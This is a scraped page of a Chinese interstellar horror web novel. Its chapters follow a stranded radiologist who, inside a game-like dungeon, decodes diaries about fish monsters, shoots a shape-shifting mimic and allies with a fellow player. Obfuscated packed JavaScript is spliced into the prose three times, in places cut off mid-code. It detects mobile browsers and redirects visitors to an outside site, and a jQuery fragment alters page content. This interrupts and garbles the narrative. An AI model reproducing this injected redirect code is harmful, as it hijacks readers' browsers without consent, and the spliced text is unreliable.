中央星系的行星众多，要比人类故土——地球繁华太多；露西亚又刚上任不久，被轻视也是常态。 她攥紧了拳头，努力不让自己努力压制的情绪爆发出来。 坐在首位的那位年长者投影下了定夺：“救援工作确实应当在明确情况后在开展。” “封锁金天鹅座整个A区，将其列入禁航范围，同时关闭所有星门跳跃至此的通道。” 他的话语显然极具分量，一开口，其余星球指挥官都不作声了。 于是接下来，他们讨论了封锁流程，以及封锁带周围的巡视方案。 “好了，散会。” 年长者的投影率先消失在座位上。 露西亚看着会议大厅里的蓝色身影一个接一个暗淡下去，像是一盏盏灭了的灯。 现在大厅里又只有她一个人了。 会议结束没多久，光脑通讯又响了。 露西亚刚一接通，就见地球医务部部长的面孔出现在眼前。 “上校啊，你们可得抓紧时间救人啊。”医务部部长一把鼻涕一把眼泪，“我们这儿最出色的影像医生，江显江主任就在其中一艘飞船上啊。” 江显？ 露西亚回想了一番，依稀记得这个人。 她似乎是在地球星立医院——整个地球上最好的医院任职，担任影像方面的总审核人。 人工智能读片已经快完全取代人工读片的现下，此人以其超过AI读片准确度的能力而闻名。所有经由AI初诊的片子都是她在复审。 据说在她刚任职那年，就张狂地在一位主任的公开课上指出AI错误；随后多次修正人工智能的诊断结果、挽救病人生命。不久前她的许多病例还被当作模型用来训练AI。 好巧不巧，这种大佬怎么偏偏会在失事飞船上！折损一个简直是对地球医护人才的巨大损伤啊！ 露西亚只觉头变成了俩个大。 人类进入星际时代已达千年。随着星际移民的大规模进行，银河系悬臂上的地球在繁荣程度上早已无法和中央星系相提并论。 科技、经济、医疗、环境……各领域的发展早已停滞太久，留给此时地球的，除了厚重的历史，再无他物。 伴随着式微的，是人才的大量流失。 人往高处走，水往低处流，自然现象罢了。在这个星际移民轻而易举的时代，像江显这样还留在地球的专家实在是不多了。 “上校啊，没有江医生我们怎么办啊……这才一天过去了，地球星立医院的复审片子已经堆成山了。再这样下去，那些特意来地球挂号看报告的人都跑没了。她可是我们的招财树啊，没了她这科室怎么转啊……”医务部部长一脸痛心疾首。 “可是她买的是红眼航班。”这招财树过得也太寒碜了一点。 “可能是她赶时间吧。”医务部部长摸摸鼻子。 “明白了。”露西亚揣着明白装糊涂。 地球的医疗系统都是死工资，一个月3000星币，不少，足足两张飞船票呢。 她又应付了一阵，总算是把医疗部长劝走了。 不想几分钟后，她又接到了总理给她的留言： 【上校，请务必开展营救，将江医生平安带回。她对地球的影像行业而言是不可或缺的存在。】 露西亚一边程式化地回复，一边在脑中迅速搜索相关信息。 噢，她不久前刚听说过这位总理阁下被发现患有严重的心脑血管疾病，正在寻求专业而全面的影像学报告和病情评估，以便后续治疗方案的制定。 被这俩人一搅和，露西亚本就不佳的心情更加烦躁了。 这人跑哪儿不好啊！偏偏莫名其妙跑金天鹅座那么荒的地方。现在那俩位都已经开口，要真救不下来她就难咎其责了！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055768|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她恨不能穿越到一天以前，把江显从那艘飞船的座位上拔出来。 * 而此时，罪魁祸首正在副本里好端端的。 江显、陆寰、苏乐三人绕着窗旁的书桌站，相对无言。 书桌上尚且有一层积灰，上面摊着几张残破的纸，那是刚刚才发现的。 【3064年4月1日】 所有树木都已经脱离幼年期，进入成长期茁壮发育。我们的使命就要完成了。 陆寰和苏乐没看过前面的部分，被这掐头去尾的几句话弄得摸不着头脑。 苏乐挠头：“他们说的是啥？什么种树？” 江显没有回答，飞速阅读着。 【3064年4月15日】 事情开始不对劲了。出海时我们总是碰到大规模的鱼群。它们发了疯一样从海里跃出来，砸到甲板上。 【3064年5月2日】 鱼的体型在不断变大。真奇怪，它们居然会知道我们的每日时间表，在特定地点蹲守我们。 这一篇日记同下一个日期间隔了许久。或许因为这期间返程在即太过忙碌，日记的主人没来得及写。 【3064年12月31日】 这是我们在这里的最后一个新年了。 这一年发生了太多意外。 春天的时候，汉斯和杰克在树林里巡逻时遭到了未知生物的袭击，我们赶到时只在那里发现了一些鱼鳞和鲜红的果壳，却一直没有找到他们的遗体。 夏天的时候，我们的船毫无征兆地漏了水。在经历了技术人员三个昼夜的抢修后，它还是损失了一部分重要功能。在受损坏的船舱里我们再次发现了鳞片，这让所有人都不寒而栗。 秋天的时候，失踪者的数量在持续增多。我们提议让船长带我们提前离开，他却表示要坚守到最后一刻。天呐，他怎会如此死板！ 日记到这里就结束了，再后面就是些意义不明的只言片语和涂鸦，能看出日记的主人精神状态很不好。 江显仔细辨别了一下那些涂鸦，发现了出现频率最高的“死鱼”字样。 而在最后一页纸上潦草画着一副恐怖图片，一条长满尖锐牙齿的怪鱼张开大嘴，嘴里露出扭曲的人类双腿。 但最为惊悚的事情在于，那颗鱼头，是从人腿上长出来的。 画面上的生物，没有人的头颅却有鱼头，蜷成一个团型吃掉自己的尾巴。 苏乐倒吸一口冷气。 三人眼神不断相碰，谁也没先出声。 笔记本是他们在江显房间的水箱里找到的。 那时他们还没来得及讨论先前的经历，就闻到了旁边洗手间里的浓重铁锈味，打开门一看，水龙头上长着厚厚一层锈迹。 三人清理了锈迹，江显试图将其拧开，却仍然出不了水，排查了一整圈后才发现头顶的半透明水箱里似乎有什么东西。 他们把水箱打开，于是发现了这几张被塑料密封袋保存的日记碎片。 纸张已经泛黄，显然已经有好些年头了。它们边缘有明显不规则却又完全吻合的齿状，似乎是被匆匆撕下来的。 水箱里的水弥漫着一股难以忍受的鱼类腥臭味，很难想象刚才要是用它洗了手会怎样。 联系起日记里记录的内容，这股可疑气味很难让人不多想。 “这味道闻起来像是他在精神错乱的情况下，把鱼塞进水箱试图做汤。”陆寰掩住了口鼻，脸上一直存在的淡淡微笑也要挂不住了。 “我有一个猜测。”江显说道。 其他俩人皆看着她。 “刚刚在餐厅里的那些怪鱼，不是从冷冻库里跑出来的，而是那些npc变的。” 陆寰接话：“我们还没来得及和你说刚刚你不在那段时间，向导的变化。” 随后他将向导怎样长出鱼鳞和鳃，怎样异变的过程讲给她听。 “果然如此。”江显若有所思。 之前在餐厅遭到怪鱼袭击时她就有过这样的猜测：【裂齿鬼鱼】是那些npc精神波动达到100以后的怪物形态。这下向导的变化算是彻底应证了她的猜测。 这番讨论之后，猜测基本被证实，大家皆神情凝重。 原本他们只是要面对一群精神不太正常的npc，谁知道npc摇身一变，变成了副本怪物。 情况显然更加棘手了。 8. 失落之海8 三人终于安定下来，江显讲述了刚刚在办公室里的经历。 但是关于支线任务和自己特殊能力的事情她依旧选择略过。 “我有一个问题，江老师刚才是如何预测到餐厅怪鱼暴动的？”陆寰眨巴着眼睛问。 江显目光停留在他身上。 她在观察他的反应；或者说，她心里隐隐期待他能够与她交换这方面的信息。 后者神色如常，和她短暂对视一眼，旋即移开目光。 虚伪！江显心里冷笑。 倘若陆寰能够主动告知她关于他自己的技能，她还会敬他坦诚。现在他这行为分明是打了空手套白狼的主意。 “凑巧罢了。”她搪塞道，“你不也是凑巧让向导信任你的各种说辞？” 陆寰哑了火。 苏乐扭头看看这个，又看看那个，觉得俩人简直是莫名其妙。 也不怪她，毕竟她自己没有个人技能，又怎会想到面前这俩人有呢？人是永远无法想象自己认知之外的东西的。 短暂停顿，江显继续分析房间里的纸张与办公室日记本的关系。 “我猜测，我们现在发现的这几张日记很可能是从那一本上撕下来的。”末了，她下结论道。 苏乐不解：“可是……这间房间的原主人为什么要把最后那些记录撕下来藏进水箱？” “多半是不想被人发现。” 见苏乐仍有些迷糊，江显解释说：“我在办公室里时还看见了好几本类似的笔记，我猜这些并非出自同一人之手。” “但它们都被摆放在了向导霍列斯的办公室，这说明向导知道他们记日记的习惯，并有意地收集它们。” “队员们如果将整本笔记本藏匿，必然引起霍列斯的怀疑，因此他们不得不出此下策，把重要的几页撕下来，希望后来者能够发现这些线索。” 苏乐恍然大悟：“你是说……我们住的房间里都可能留下这些人的记录？” “所以我们现在去你们俩的房间看看还能不能找到其他线索。”江显说着，已经转身往门外走去了。 紧接着他们依次搜索了陆寰和苏乐的房间。 果不其然，在地板木缝和床板下面，三人又有了新的发现。 首先是几张手绘的彩图，一张上面是一颗血红色果实，果壳上爬满了血管一样的纹路；另外一张则是几棵高大的树木，但奇怪的是它们像是一张蛛网一样从中间最大的那棵向周围扩展和延申。 “这里的一切怎么都怪怪的？”苏乐看得头皮发麻，“怎么果实看着特别狰狞，而树也张牙舞爪的？” 她还从没见过这么离奇的植物。 江显把画翻到反面，发现果实那一张反面标着数字“3”，树木那一张标注着“2”。 “这数字又是什么意思？”苏乐一头雾水。 江显摇摇头，表示她也不知道。 再然后他们又翻出了几张记录残片。 这是几张和先前字迹截然不同的记录，很显然出自另一人之手。 他们把收集到的所有线索聚到一起，试图按照日期顺序排列好。 但是他们失败了，因为那些片段都没有标注时间，到了后面甚至让人怀疑记录者的精神是否正常。 【汉斯和杰克又回来了，在他们消失了整整半个月后】 【大家都很疑惑，无法想象没有补给的他们是怎样存活下来的。但大家都很高兴。】 【冷冻库莫名遭到了入侵。见鬼！谁会为了一仓库硬邦邦又腥气的冻鱼这么干啊！】 【今天早上吃鱼时候，汉斯一直盯着我的盘子，好像那里面有什么佳肴似的。神经病！我盘子里早就吃的干干净净了！】 【又有队友失踪了，离奇的是所有人都作证他并未离开这艘船。】 【我们找到了失踪队友的衣物，是在船上供水系统的滤网上。这让我们产生了一些不好的联想。正在喝水的俩人当场干呕起来。】 【我亲眼看到汉斯在夜晚进入了冷冻库。他居然在生吃鱼………………不……他居然咬得动！整个仓库里都是他嘎吱嘎吱的咀嚼声……不，他绝对不是汉斯了……他到底是什么？！】 【失踪队友回来了。他朝我们笑，但是这一次，没有人再敢欢迎】 【又一名队友离奇消失。但是那天晚上，我看到汉斯在他门前站了许久】 【我突然明白汉斯那天在看什么了，他不是在看我的空盘子，而是在盯着盘子里我脸的倒影————他在盯着我！】 【它们来了，它们吃掉了我们的同伴，然后又伪装成他们的模样】 【今天早上我和几人微笑地打着招呼，却无法确定有几人的笑容后藏着致命的尖牙】 【它们围堵我们、猎杀我们、它们取代了我们！腥臭的水、散落的鱼鳞，它们无处不在。】 【不该是这样的，不该是这样的！明明我们才是刀俎，却在被任意宰割】 【我请求船长想办法救救我们……但他拒绝了。他说——我们应该永远存在于这里！他一定已经被取代了！】 【我就算是自我终结，也绝不能让这些怪物占据我的身体】 纸张翻到了最后一页。 最后还剩下一张很小的纸片。 原本空白的纸面上被碧绿的颜料填满，上面是红褐色大字龙飞凤舞的大字。 【我们被冻在了春日汹涌的绿色潮水之中】 暗红色的字迹上一抹能掉下碎屑，带着一股铁锈的气味。 是血。 “鱼……他说的鱼到底是什么？”苏乐脸色变得极其难看。 是冷冻柜里那种怪鱼……还是变成怪鱼的人？ 寒意一点一点爬上几人的脊背。 现在显而易见，能说出什么“永远存在于这里”之类的话，向导或许早在这些日记写下之前就已经被异化了。 江显了然：“难怪他要回收那些人的日记本，也难怪日记的主人要把其中一部分包含关键信息的藏起来。” 日记主人寄希望于后来者能够在看到留言后提高警惕，而向导无疑是希望他们因缺乏信息而掉入陷阱。 陆寰提议：“或许我们现在可以整理推测一下这里发生的事情” 这个提议得到了大家的一致认同，毕竟这也是主线任务之一。 江显起了个头：“目前已知的是，在距离现实时间20年前，这支小队来到了绿松石星执行任务，且根据描述，任务应该是在这里种植一种树木，叫做‘智树’。” “至于这种树到底有什么特点和秘密，这需要我们稍后去探究。” “回归正题。在执行任务期间，每隔一段时间都会有总部的物资投递过来，所以他们在前期一直和外界保持着联系。” “后来不知发生了什么，自从有队员意外消失起，这里开始频频发生怪事。” “从记载来看，怪事全都和一种怪鱼有关。消失的人回来后行为诡异、冷冻库持续失窃；腥味的水、掉落的鱼鳞…………” “如果我们目前关于‘npc会变成怪鱼”的猜想正确，那么目前信息都指向，最开始失踪的俩人回到船上时已经成了人形外观的怪鱼，逐渐开始传染其他队员。” “在那之后，整艘船都成了人间炼狱。‘ “队员们试图逃离这里但遭到了船长的拒绝，最后这支队伍就这样全军覆没。” “不错的分析。”陆寰赞同地点头，补充道：“那些日记提供了很多信息，但是现在仍有许多许多无法解释的疑点。” “首先，如果小队是来这里种树的，那么首当其冲的问题就是——种树地点在哪儿？” 一时间三人无言。 对啊！他们忽略了最离奇的事情：这种绿植覆盖充满古老森林的星球，哪儿需要种树啊？！ “其次，日记里多次提到‘船长’和‘船’，江显也从照片上证实过向导就是船长。那么，这支队伍的船又去哪儿了？” 大家再次面面相觑。 江显掐了记人中：“要是找到了船，我们也就变相找到了海完成了任务。所以这个问题不会那么容易解决的。” 陆寰继续道：“以及，日记残片最后一句，‘我们被冻在了春日汹涌的绿色潮水之中’，你们是怎么理解这看似自相矛盾的一句话的？” “看起来像是在说，‘他们被困在了某种绝望的困境之中’。”江显思索一下道。 “确实。我记得之前副本背景里有提到过‘绿色海洋’。如果‘绿色潮水’是指之前提示里说的绿色海洋，春天应该冰雪融化才对，不应该被冻住；但如果它不指海水的话，还能是什么呢？” 不得不说，他问到了点子上。 气氛再度冷场。 “问题太多了，我们还是先研究一下不久前解锁的那副地图吧。没准还能推测一下海在哪儿。”江显无奈长叹。 眼下似乎也只能如此。 从地图解锁以来又经历了一连串事，他们还没来得及看，现在都寄希望于此。 然而在打开地图的一瞬间，江显彻底瞳孔地震。 在她眼前的不是什么由各种色彩交织填充的地形缩略图，而是一张完完全全由黑白灰三色构成的图像。 【影像学检查可见：树根处不规则环状影，地图中央高亮团块。建议进一步实地考察。】 江显擦了擦眼睛。 没有变。 她一定是疯了，不然怎么会把地图看成影像学报告。 【技能调整中……】 【已将技能调整至适应副本的版本！】 【说明：在仅你可见的特殊副本地图上，白色程度与异常程度相匹配。】 她左右打量队友反应，不料还没开口就听苏乐一阵惊呼：“这不符合常理！” “怎么不符合常理？”这下另俩人都疑惑了。 苏乐是环境生态系学生，这方面还得听她的看法。 “这块地图上记载的地势……居然平坦到了极点。甚至连小的山坡丘陵都没有！” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“射线穿过人体或其他物体时，会根据不同组织的密度和组成产生不同程度的吸收和散射，从而在探测器上形成影像。” “这就是我们看到一张片子上水墨画一样有着深浅痕迹的由来。” 医学院老师的话回荡在江显耳边。 江显浑身战栗。 刚刚关于技能的提示还在眼前。既然白色在这个副本里提示着异常，那么异常最显著处或许是解谜的关键？ 分辨一阵后，她得出了结论：小路沿途、树根所在之处，以及中央一大团白色。 很快，那中央的白色光团吸引了她的注意。 它存在感极高，与周围的境界模糊不清，仿佛是抹不去的油渍在纸张上浸润。 在团块旁边，道路环绕一周，像是蛋壳一样将它包裹。 直觉告诉江显，那是他们解开谜题的关键。 “你们看到地图中心，所有小路交汇在一起，组成的那一圈圆形区域了吗？”她试探着问。 苏乐道：“嗯，确实有许多条小路。那里怎么了？” “你不觉得那一圈和周围不一样吗？”江显不死心。 苏乐一脸茫然。 江显摇摇头：“没什么。” 看来，那个异常的白色团块只有在她的特制地图上才能看到，就像森林树根处和其他地方的不同灰度也仅她可见一样。 江显蹙了蹙眉，觉得压力一下子全来到了自己这儿。 两种地图上的标注不一样，一定是某种重要提示。地图中央一定藏着一些秘密。 “我想我们接下来的主要关注方向应该是找出人变为怪鱼的过程及必备条件，还有怪鱼到底从何而来。”江显说，“今晚我们得好好休息，明天早起去森林里探索。” “在这之前，我还有一个不妙的猜测。”陆寰道，“如果这支小队里所有的队员都被怪鱼异化了，我们住的这3间房间又是怎么多出来的。” 江显想起了日记上那句“我就算是自我终结，也绝不能让这些怪物占据我的身体”。 “去除掉走廊尽头的俩个公共房间，第二层的房间数和那张照片里的人数相同，我们见到的npc却恰巧比这个数字少3个。” “那3个人，他们在被变成怪鱼之前，自杀了。”她给出了答案。 “所以科考队才会空出3个名额。” “所以‘我们’所代表的人物才会前来填补空当。” “正是这样。”陆寰点头，“所以，你们猜自杀的人会甘心轻易消失吗？” “变成裂齿鬼鱼的npc们没有血液，甚至在被‘杀死’后自动消失了，这至少证明这里的怪物不是那么容易杀死的。” “所以，不如猜猜我们明天在树林里会不会遇到那三个自杀的人？” “——以这个副本的灵异程度来说。” 9. 失落之海9 夜幕降临。 周围一切静悄悄，似乎都陷入了沉睡。 洗手间里水龙头开始滴滴答答地响，江显又嗅到了血腥味。 江显从黑暗中睁开眼睛。 因为在注意支线的动静，她本就没有睡着，此刻更是警惕心拉满。 “滴答，滴答”。 水声仍在落个不停。 江显烦躁地开了灯，前去洗手间查看，果不其然龙头里正在漏出红褐色的液体。 抬头一看，头顶整个水箱也是同样的颜色。 经验告诉江显这并不是血。因为早先他们已经清理过了水龙头的滤网甚至是水箱，当时水质是干净的。 新鲜的血不是这种颜色，陈旧的血又不太可能。 难道是水管里的铁锈脱落了？ 江显下意识顺着水箱的输水管向下看去，那根管子一直没进了地面。 江显回想起了当时她从向导办公室逃脱时的那根外置水管，它也是那样子直直扎进一楼地面的。 这让她猛然想到一个被忽略的问题：如果没有海，科考站的水又从哪里来？这些水管究竟通向何方？ “笃笃笃。”是房门被敲响的声音。 谁？ 江显猛一转头，走廊从门缝里看，只是一条漆黑的细线。 “江显，开门。”门外分明是陆寰的声音。 这个时候来找她？ 江显蹑手蹑脚走到房门口，从猫眼里往外望。 走廊里的夜灯闪烁着幽幽绿光，微弱的光芒勉强勾勒出来人的面庞。 倒确实是陆寰。 他站得离门有一段距离，猫眼把那些白天不易被察觉的细节放得很大—— 俊朗端正甚至完全称得上俊美的五官、刚从床上起来一样凌乱的额发、被压出皱痕的衣衫、没扣上的领口、若隐若现的锁骨…… 任谁看了都得夸一句美人。 这家伙特么的大半夜发什么疯，穿成这样跑来找她？ “陆老师这个时间、这副模样跑到我门口来，是想诱人犯罪吗？” “我在房间里被怪鱼攻击了！快跑！房间里不安全！”陆寰声音焦急。 江显下意识回头看了一眼房间。 窗帘并不完全遮光，阴冷的月光从小小的窗户里投过来，外面巨树斑驳的影子像是一只只鬼爪。 “鬼爪”从窗旁一直延申到地板上，看起来阴森可怖。 除此之外，一片死寂。 “具体说说。”江显不动声色去摸出背包里的枪。 “没多少时间了，快出来！我们边跑边说！”陆寰催促道。 “跑出去，然后呢？” “跑进林子里啊，这颗星球到处都是茂密的森林，怪鱼不可能找到我们。” “那任务呢？” “在一片森林里找海，这无异于缘木求鱼！这怎么可能实现的了！这任务从一开始就没想过让我们完成。” “所以你想逃避。”江显冷冷地打断了他。 她一边说着，一边用余光瞥着房间内，时刻注意着动静。 “这不是逃避，这不过是一种迂回！等逃到森林里后我们可以再慢慢寻找。” 江显轻笑：“所以你是在赌，就算没完成任务我们也只是会被困在副本里，而不是死亡喽？” “……江显，只要还活着，一切就都还有希望。”陆寰突然以一种哀伤的音调说道。 江显仰头，轻轻叹了口气。 “可是对我来说，如果不能离开副本，回到真实的世界，一切都没有任何意义。” 陆寰不解：“为什么？” “因为…………我这半生以来，都在追寻着一个真相。” “就为了一个真相？”陆寰不可置信再次催促，“快走吧，再晚就来不及了。” 江显突然笑道：“陆老师，你还记得今天分别前，你告诉我的那个秘密吗？” 陆寰：“当然记得，你是联想到什么线索了吗？” 下一秒，江显的门毫无征兆地开了。 “啪”。 昏暗的光线里，“陆寰”不可置信地看着胸口的那颗子弹。 “很可惜，答案是你什么都没说。” 江显直接把枪抵在“陆寰”下巴上，毫不犹豫连续扣动扳机。 她对自己的准头毫无自信，刚刚命中胸口不过因为出其不意加上运气成分。 但从下巴这个角度开枪，子弹会直接从下颌体和舌骨间的腔隙进入，运气好的话上行摧毁蝶骨直接入颅。 手枪的爆鸣回荡在寂静的走廊里。 子弹洞穿了颅骨，余下的强大动能让它嵌进了天花板上。 “陆寰”的身躯缓缓倒下去，残破的面容竟扭曲和重组成了另一个人的模样—— 汉斯。 “你早就怀疑我了。怎么发现的？”汉斯嘎嘎怪笑着问。 也不知道他现在是怎么说话的，刚刚几枪爆头应该把他舌肌打断了才对。 江显显然不能告诉他自己的技能，于是说：“……你在门外说话连嘴都不动一下的。” 汉斯脸上的表情一下子变得十分古怪。 与此同时，江显眼前开始跳属性提示。 病变提示： 名称：汉斯【怪物形态】 武力：40 智力：70 怪物等级：精英 技能： 【拟态】：制造幻象，模拟成另一个人的样子。此技能无法复制记忆。 提示： 【无论是汉斯，还是他的同伴们，都已受到永生的眷顾】 【那让他们得以逃脱死亡的宿命】 【除非他们灵魂消弭，意识消散】 “江显……你会认同我说的，只要还活着……一切就都还有希望。”汉斯的喉咙里开始咕噜咕噜的杂音，含糊不清，像是反应烧杯里的物质在被溶解。 “恕我不能赞同——如果你是指你现在的状态能用‘活着’来形容的话。”江显反讽道。 她懒得再和他废话，抬起手对着他脸上补了几枪。 碎肉横飞。皮肤、肌肉和碎裂的骨组织溅了一地。 但是没有血。 汉斯怪叫的声音戛然而止，身体也停止了抽动。 江显谨慎地蹲下去进行查看。 不料短短几秒的时间里，汉斯的尸骸就像是化掉一样变成了一滩粘稠的水。 与此同时，一团白花花的团块朝她迎面袭来。 江显早有准备，一闪身躲开了攻击。 随后她对准那攻击物，把剩下俩发子弹全打了进去。 不明物体速度快极了，竟在千钧一发之际避开了子弹！ 随后它猛一窜，朝走廊末端的楼梯跑去。 江显无法阻拦。她手上已经没有武器了。 她注视着那团白色消失在走廊深处。 那到底是什么东西？ 她能够依稀辨出，那物体上沟壑纵横、皱巴巴一团，看上去极其柔软。 她的异能并没有识别出它，因而先前她一直以为那是硬脑膜破裂后流出来的脑子。 江显烦躁地甩甩手腕，刚刚开枪的力道震得她肌肉发酸。 枪管还烫着，走廊里也落了一地弹壳，但是怪物却无影无踪。 一切似乎更加扑朔迷离了。 江显思忖少顷，敲响了一扇门。 “谁啊？” “是我，江显。一个提议，我们交换情报吧。” 现在副本发展愈发诡异，单凭她一个人的信息实在是有限，或许他们俩个都触发支线的玩家可以联手。 接下来是几秒的安静。 “如果我没记错的话，十分钟前你已经用‘遭到攻击’这个借口来过我房间一次了。”陆寰带笑的声音从门后传来，“现在我房间里还有一滩水，怪难清理的。” “我不是在和你开玩笑，刚刚我也遭到了类似的事情。走廊上响起的枪声可以证明我话语的真实性。我触发了支线任务1，并且知道你大概率触发了2或3。所以我们互通有无吧，这个提议怎么样？”江显压低声音贴着门道。 她这是开诚布公展示自己的态度和身份。【拟态】技能复制不了记忆，想必已经遭遇过的陆寰也发现了。 她知道陆寰此刻一定就在门后，像不久前的她一样从猫眼里看着她。因而这个距离倒不用担心听不见，也不会惊动其他npc。 她把耳朵贴在门上耐心地等待着。 “咔咔”俩声，很轻微的动静。 开门的一瞬间，江显把枪抵上了陆寰的下巴。 与此同时，她的太阳穴也被什么冷硬的金属贴上。 俩个人浑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“叫做【无害的伪装】，具体效果是被动时减轻其他人的警惕心、屏蔽怪物锁定。主动发动时有一定概率让别人相信我说的话。具体概率和精神波动值高低有关。此外，对于npc亲眼所见的‘客观事实’我无法更改认知，只能从主观程度上让他们产生信任。”陆寰微微惊讶，“你竟然连这都猜到了。” 一番试探之后，双方悬着的心都落地了。 “最后一个问题。”陆寰突然说，“你刚见面是为什么要让苏乐远离我？” “如果我答得不满意，陆老师是会一枪让我闭嘴吗？” “不是。”陆寰不自然抿了下嘴，“只是单纯好奇。” “因为我的技能是看到一切npc、玩家、怪物的属性，但我无法读取你的。”江显说，“就是这么简单。” “原来是这样。”陆寰垂下了手。 他的声音里竟透露出几分释然。 “哈，你不会以为我是讨厌你吧？”江显嘴上回怼着，却也放下了枪。 “听起来有些滑稽。”陆寰扶额，“不太可能。” 俩人聊了这么多，已经完全能够排除对方是怪鱼拟态体的可能性。 其实早在开门那一瞬间，江显读不出陆寰的属性时，她就已经确认了对方身份。 但是就算她知道眼前这个陆寰是真的，却不敢保证陆寰能百分百信任她；所以当他把枪口对准她太阳穴，她也因此瞄准他下巴回敬；最坏情况下没谈拢也能起个威慑。 反正手里攥着点东西总比一无所有好，即便那是支打完了弹夹的空枪。 一番对峙之后，一触即发的弦缓缓松弛下来。俩个人终于舒展了一下手脚，江显只觉自己胳膊都举麻了。 “抱歉，属实是无奈之举。”陆寰指指枪，翻出背包夹层里的弹夹重新往里面装弹。 江显默数着，挑了下眉。 他的枪也是空的。 江显表示不介意：“换做是我，也会这么做。你也看到了。” 她在敲门时也曾担心过房间内的陆寰是否已被拟态体杀死取代。他们都不过是在力求自保罢了。 “包括拿把空枪唬人吗？”陆寰笑道。 “这么确定？” 陆寰说：“我刚刚数过走廊里的枪响，是六声。这种手枪最多也只能装六发子弹。” “万一有一枪是汉斯打的呢？”江显看着他。 “那就……”陆寰微微扬了下嘴角，“那就是我倒霉了。” 俩人就这样对视了几秒。 直到陆寰主动朝她伸出手。 “不管怎么说，重新认识？合作愉快。” 他脸上依旧是那副单纯无害的笑容，或许是因为技能带来的错觉，也或许是他刚刚说的那番不着调的话，江显觉得格外亲切。 “那算是扯平吧。”江显忽地咧开嘴，朝陆寰伸出手，“不过别再用那样怪异的方式称呼我了。” “为什么？” “因为那会让我想到在医学院授课时台下清澈又愚蠢的目光。” 10. 失落之海10 “好吧，江显。接下来怎么办？”陆寰从善如流。 江显说：“帮我做我的支线任务。” 她莫名其妙地和怪物打了一场，到头来便宜了别人的任务进度。 陆寰似乎也知道，自己的支线任务招来了俩个怪物形态的npc，自知理亏，满口答应了：“怎么帮？” “我的任务提示今晚向导会偷偷去森林里，我们需要跟踪他寻找线索。俩个人结伴比独自行动更安全。” “那我们现在的任务就是……” “等。”江显接话道。 系统没有任务触发时间提示，这么干等也不是个办法。 陆寰搬过一把椅子，江显也不客气，一屁股坐在上面。 这个夜晚真是出师不利，她的任务还没开始，耐心就已经被折腾掉大半了。 “枪？”她正歇着，突然听到陆寰说。 江显抬头看过去，就见他已经重新给自己的枪上满了子弹；现在正伸出手，理所当然地要她那把。 “这是想检验我是不是真的一颗子弹都没有吗？”江显似笑非笑，眼睛微微眯起。 陆寰叹了口气，把他自己那把已经装好的枪递到她手上，表示自己并非是想趁人之危，然后顺便拿走了她空的那把。 “现在能够相信我了？”他问。 然后他又开始从盒子里拿子弹了，动作倒是熟练得紧。 星际时代持有枪支是合法的，大家在上学阶段都会学习一些基础的枪支操作。江显本人虽然是野路子，但也不至于一窍不通。估计陆寰也是差不多情况。 月光给他的侧脸描了层银白色的边，乌黑细密的发遮了额安静地泛幽光，脸颊和从衣袖下伸出的手上都闪着莹白的亮泽。 江显鬼使神差，想起了不久前在猫眼里看到的那一幕。 于是，为了掩饰自己的尴尬和心虚，她说：“我可没说不相信——是你自己主动把你的枪拿过来的。” 陆寰笑了一声，没有否认。 江显更加憋屈了。 怎么搞得好像是自己在欺负他一样！ 明明她什么也没做！ 短暂沉默后，陆寰随口和她聊起来：“那时候在星门附近出事的几班飞船时间都不好，你赶时间？” “不，单纯是因为穷，只买得起红眼航班。”江显把头朝椅背后仰去，伸了个懒腰。 本来就是熬夜赶航班没睡，还半路故障了，现在大晚上的仍然不能睡，没什么比这更糟心了。 “金天鹅地处偏远的地方，并不繁华，没有大型的医疗研究中心也没有旅游胜地。你来到这儿莫非是……支援医疗？” “我也希望。”江显说，“那样就能报销路费了。可惜不是，因为一些私事。” 陆寰不问了：“噢。“ 然后他介绍自己：“我是因为赶时间，来这儿星门中转的。如果没出意外的话，现在已经在大型星际舰里数星星了。” “‘眺望者1号’星际舰？”江显下意识问。 “你怎么知道？” “我父母曾在那里工作过。他们都是天文学家，说那里是观测宇宙的绝佳位置。”江显眼神一黯。 “在这样的环境中长大，你又为什么会去学影像专业——我只是好奇。” 江显没有直接回答，而是反问：“打个你熟悉的比方，如果有一天你突然在宇宙深处发现一颗怪异的、不符合规律的天体，一切已有的理论体系于它而言都形同虚设，你会怎么做？” “追踪它的轨迹和路径，尽全力去触摸它。”陆寰不假思索，“为此，不惜偏离原有的规划。“ “对我的专业来说也同样适用。”江显说，“换个话题吧，我们来聊聊向导霍列斯以及目前已经出现的npc。” “行。”陆寰点头。 江显组织了一下语言，然后总结道：“利用我的技能，我能够准确辨别出副本生物的类型。目前已知的有三种。” “第一种，npc形态。据我推测，包括向导在内的所有人在精神波动稳定时，都展现出这一形态。” “第二种，怪鱼形态的怪物。此为部分npc精神波动飙升至100时所变，例如餐厅里遇到的那群裂齿鬼鱼，以及你们叙述里半怪鱼化的向导霍列斯。目前尚未发现这一形态怪物有智能。” “第三种，即汉斯和入侵你房间的那位——我猜测是日记里那位杰克。他们拥有比怪鱼更强大的技能，聪明狡诈会诱导人上当，但武力值却不如怪鱼形态。他们的怪物化和精神波动无关，我甚至猜测他们能够自己控制形态的转变。” “上述第一和第二种可直接视为同一对象的不同形态。那么这样我们就能把这些怪物分成俩种：怪物化是鱼类形态、智力较低的，以及怪物化是人类形态、有智力的。” 